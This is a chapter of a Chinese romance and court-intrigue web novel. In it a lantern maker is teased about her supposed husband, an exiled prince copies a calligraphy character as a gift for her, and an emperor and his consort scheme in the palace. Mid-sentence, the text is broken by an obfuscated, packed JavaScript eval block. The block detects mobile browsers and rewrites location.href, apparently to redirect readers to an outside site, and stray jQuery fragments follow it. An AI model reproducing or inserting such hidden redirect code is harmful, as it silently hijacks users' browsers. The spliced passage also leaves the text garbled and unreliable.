33.后位

作品:《寻灯

    祝绒冒着雪赶回城郊的小屋,与张毅道别时,屋边忽然窜出一个黑影。


    张毅察觉,神色一凛,要对黑影出手,谁知那黑影也张牙舞爪地朝他冲来。


    祝绒连忙提灯一看,果然看到来人是范青梅。


    “你离我妹妹远些!妹妹已经有夫君了!”范青梅推了一把张毅,将祝绒拉到身后。


    “夫君?妹妹已有夫君?”张毅甚是惊讶,心想那周钰同祝绒又算是什么?莫非是周钰单相思,觊觎他人妇?


    祝绒有些不好意思地握住了范青梅的手,低声道:“张大哥,这都是为了掩人耳目的说辞,婆婆误会了我和那人的关系。”


    张毅恍然,可范青梅依旧不依不挠,梗着脖子对张毅说道:“妹夫只是去治伤了,很快便会回来,他与妹妹如胶似漆,恩爱得很,日日同床共枕,你可不能打我妹妹的主意!”


    张毅闻言,一脸看热闹的表情望向祝绒。


    祝绒被他看得脸一红,连忙拉着范青梅回屋,边逃跑边回头解释道:“没有如胶似漆,没有同床共枕,只有吵架!张大哥别误会!明日见!”


    她砰一声关上门,脸已经烧得通红,嗔怪地轻轻撞了撞范青梅,嘀咕道:“姐姐,我与夫君的事情,你可否别往外说……”


    “妹妹害臊啦?”范青梅笑呵呵地挽起她的手,摸着她的手背说道,“姐姐瞧着你近日总是愁眉苦脸的,晓得你定是挂念妹夫,这不是想要哄你开心嘛。”


    “我何时挂念他了?”祝绒不肯承认,但脑子里又涌出了许许多多与周钰一同相处的画面。


    她叹了口气,觉得自己真是着了魔,救了个男人回来,给自己惹了一身麻烦,还把心思给搅得如此混乱。


    但偏偏,自己又忍不住像飞蛾扑火,想要走进他的世界。


    为他,为爹爹阿娘,也为自己,更为许多同她一样的人。


    祝绒点亮屋里的花灯,望着摇曳的火光,思绪又飘远了。


    那人不在,她好似无须再燃那么多灯了。


    也不知道,他的眼睛可有好些?


    如今不能光明正大地见他,也不能同他当面吵架,真是无趣……


    “姐姐,你可知晓守着一个秘密有多难受?”祝绒烦闷地埋怨道,“我快要憋死了。”


    “有呀,谁没有秘密呢?”范青梅看向灯旁的祝绒,满眼宠溺,低声笑道,“我最大的秘密就是你呀,妹妹。”


    *


    张毅回到毅武堂时,已是亥时。


    他简单算了算近几日的花销,确认还能喂饱藏在地下的几十个人,这才打开暗门进了地下室。


    周钰今夜没有在习武堂练剑,而是背对着门坐在椅子上,在捣鼓什么。


    张毅好奇地凑近,看到他在写字。


    满满的几张纸,上面所写皆是“祝”字。


    瞧见的那一瞬间,张毅的心好似被什么戳了一下。


    这王爷,莫不是对妹妹动了真心?


    “送祝绒回去了?”周钰知晓来人是张毅,头也没抬地问道。


    “是,如今怕是齐州城都无人敢为难她了,王爷可放心。”张毅答道。


    周钰轻轻“嗯”了一声,心中有些不是滋味。


    祝绒受了委屈,可护着她的人,却不是他。


    他只能躲躲藏藏,甚至要她来护。


    周钰沉默地伸手,去摸桌面上拼起来的牌匾碎块,那个“祝”字,他已经顺着笔画摸了许多遍。


    他看不清楚,便只能用这种办法,尽量将这几个字原本的样子复刻下来。


    “这可是给妹妹的礼物?王爷想给她一个惊喜吗?”张毅看着那祝字已经写得与牌匾上的别无二致,暗暗对周钰感到佩服。


    周钰是个习武之人,是个在军营长大的人,却也能写得一手好字,甚至在眼睛看不清楚时,将他人的字迹模仿得如此相似。


    “这是我眼下唯一能为她做的了。”周钰摸索着破碎的牌匾,低声答道。


    张毅想起范青梅说的那些话,突然觉得她虽精神失常,但所说并非一派胡言,这两人此前恐怕还真的是“恩爱得很”。


    提及礼物,他顺便朝周钰汇报道:“对了王爷,妹妹说她已经想到该做什么花灯送给雪妃哄她开心了,那灯定能让陆景和满意,如此送您去京城一事便万无一失,只不过此举有些冒险。”


    周钰写字的手一顿:“如何冒险?”


    “妹妹说,她可以让雪妃在新岁宫宴上,体验一次当皇后的感觉。”张毅说出这话,都觉得有些心虚,愈发觉得祝绒胆子真大。


    周钰虽从未掺和后宫那些是非,但知晓后宫向来分成两派,一派追随雪妃,一派则支持皇后。


    雪妃虽得圣宠,但输在属于后来者,在皇帝已经立下太子后才入宫,哪怕如今已怀有龙种,也难拥有皇后的权势。


    但皇后也因为雪妃的到来,吃了不少苦头,皇帝日日宠幸雪妃,有时甚至不上早朝,许多大臣暗中朝皇后进言,希望她能整顿“后宫乱象”,切勿影响了朝政。


    皇后曾于一宫宴上暗示过皇帝,那一次周钰也在场,他亲眼看着皇帝大发雷霆,掀了一桌子的美食,搂着雪妃扬长而去。


    自那件事之后,皇帝对皇后一直颇为冷淡,就连皇后六岁的儿子,也就是当今太子,都明显受到了冷落。


    “皇后如今虽遭皇上冷落,但她出身于名门望族,背后势力不容小觑,此举,确实冒险。”周钰沉声道。


    皇后是否心有不甘,是否在等待时机反击,还是就此认命,他不得而知,但皇后背后的势力一直在蠢蠢欲动是明面上的事情。


    他们尤其憎恨害皇后至此的雪妃,最近得势的陆景和,雪妃的表哥,也是他们攻击的对象之一。


    “那王爷觉得是否要提醒妹妹,换一个礼物?”张毅问道。


    周钰提笔再次写下一个“祝”字,沉默半晌后说道:“不必换,你只需提醒她,莫要宣扬此灯乃她所制,有陆景和在前面当出头羊,她一个制灯师,不会有危险。”


    *


    雪后的早晨十分阴冷,妃嫔的寝殿却格外温暖。


    梁皇萧元祁搂着雪妃韦慧白躺在床榻上,醒了也不愿起来。


    韦慧白抬手圈住他的脖子,娇嗔说道:“陛下,您今日若是再不上早朝,皇后与那些大臣背后都要将我说成妖妃了。”


    “他们敢?”萧元祁欺身亲了口韦慧白的脸,忽然“哎哟”了一声,僵着腰不敢动。


    “怎么了?”韦慧白连忙起身,帮他揉腰。


    “还不是你昨夜太折腾?”萧元祁趴在床上,任由韦慧白替他按摩,感慨道,“朕老了,身体一日不如一日,你比朕小了十几岁,怎的还不体恤朕?”


    韦慧白轻笑道:“陛下方才是不惑之年,臣妾瞧着您一如当年英姿,这才折腾您,若您不愿,臣妾便作罢。”


    萧元祁闻言,一把将韦慧白


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13644828|139943||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拽回怀里,摸着她凸起的小腹笑道:“爱妃所言极是,那便还是继续折腾朕吧,不过你要注意腹中孩儿。”


    “臣妾也折腾不动了,您还是去上朝吧,让臣妾与孩儿好好歇歇。”韦慧白欲迎还拒,轻轻推开萧元祁的手,将她的婢女喊了进来,让她给萧元祁洗漱更衣。


    萧元祁不再与她缠绵,起身让婢女服侍,韦慧白拖着雪白的睡袍,走到床边一盏花瓶形状的花灯前,拾起一旁的剪子,修剪插在花灯上的梅花花枝。


    她捻起一瓣凋零的花瓣,语气漫不经心地问道:“陛下,昨日臣妾听婢女们闲聊,说起那叛国贼来,那人可有被擒住了?”


    萧元祁闻言,拧眉烦躁道:“一提那个狗东西朕就来气!景和前些日子说那叛贼已暗中潜入齐州,竟想偷新的城防图献给北戎那帮野蛮东西,简直荒唐!朕待他周家不薄,他竟是如此报答朕的!抓到他后,定要让他五马分尸,碎尸万段!”


    言罢,他一时怒上心头无处宣泄,便一脚踹向为他更衣的婢女,婢女倒在地上滚了几圈,吓得脸色铁青,跪在地上连声求饶。


    “再吵就叫你人头落地!”萧元祁暴躁地喝了一声。


    婢女不敢再作声,一个劲儿地磕头,额头很快便红肿起来。


    韦慧白朝婢女挥手,示意她退下,走到萧元祁身前为他系上衣带:“都是臣妾的错,臣妾不该提起那人的。”


    萧元祁的火气消退不少,但依旧神色不悦。


    “陛下何必为那狗东西动怒,坏了一日的心情?您便安心将此事交给表哥,他一定不会让您失望的。”韦慧白为萧元祁整理衣襟,笑着吻了吻他的唇,“您便等着看那人被五马分尸吧。”


    萧元祁轻笑一声,彻底消气,抬手摸了摸韦慧白的脸:“你那表哥确实有本事,朕该考虑考虑让他顶替周钰的位置了。”


    这回轮到韦慧白皱眉头了,她赌气一般坐到床上,嗔怪道:“陛下考虑便考虑,无须告诉我,不然那些人背后又说我如何插手朝政之事,烦死了。”


    萧元祁最爱看她耍小性子的一面,被逗得愈发开怀:“你插手又如何?有朕在,他们不敢非议你,朕这便上朝去教训他们。”


    言罢,萧元祁转身离开,方才额头磕得红肿的婢女红缨跪在殿外,等他远去后,才起身关上寝殿门。


    她一改方才畏畏缩缩的模样,走到韦慧白面前行礼:“娘娘,可需要奴婢给陆将军回信?”


    “不必,且看他新岁要送我什么礼物,我再决定是否要帮他到底。”韦慧白的脸上全无方才的骄纵模样,神情嫌恶,拿着湿了水的帕子不断擦着被萧元祁摸过的地方,将脖子和脸都擦红了。


    红缨接过帕子,沾水为她轻轻抹擦:“陆将军虽与您鲜有来往,但若此次得了封号,能在兵权上为娘娘添不少势力,娘娘不妨帮他一回。”


    “红缨,你自小便跟着我了,何时见我会放过往上爬的机会?”韦慧白蹙眉道,“萧元祁这个老东西明面上对我千依百顺,嘴上说得好听,但做起来根本不是一回事,要在他那儿吹耳边风,哪里是容易的事?”


    说到这里她便来气:“萧元祁夜里口口声声说要立我为后,可每一次都只是说说而已,我对他早已不抱希望,如今只能靠自己筹谋。”


    韦慧白走到那盏花灯面前,沉住了气,再次拿起剪刀修剪枝叶:“我不信我堂堂韦家嫡女,斗不过姜玥那个身世不明的假货,皇后之位,岂是她能坐的?”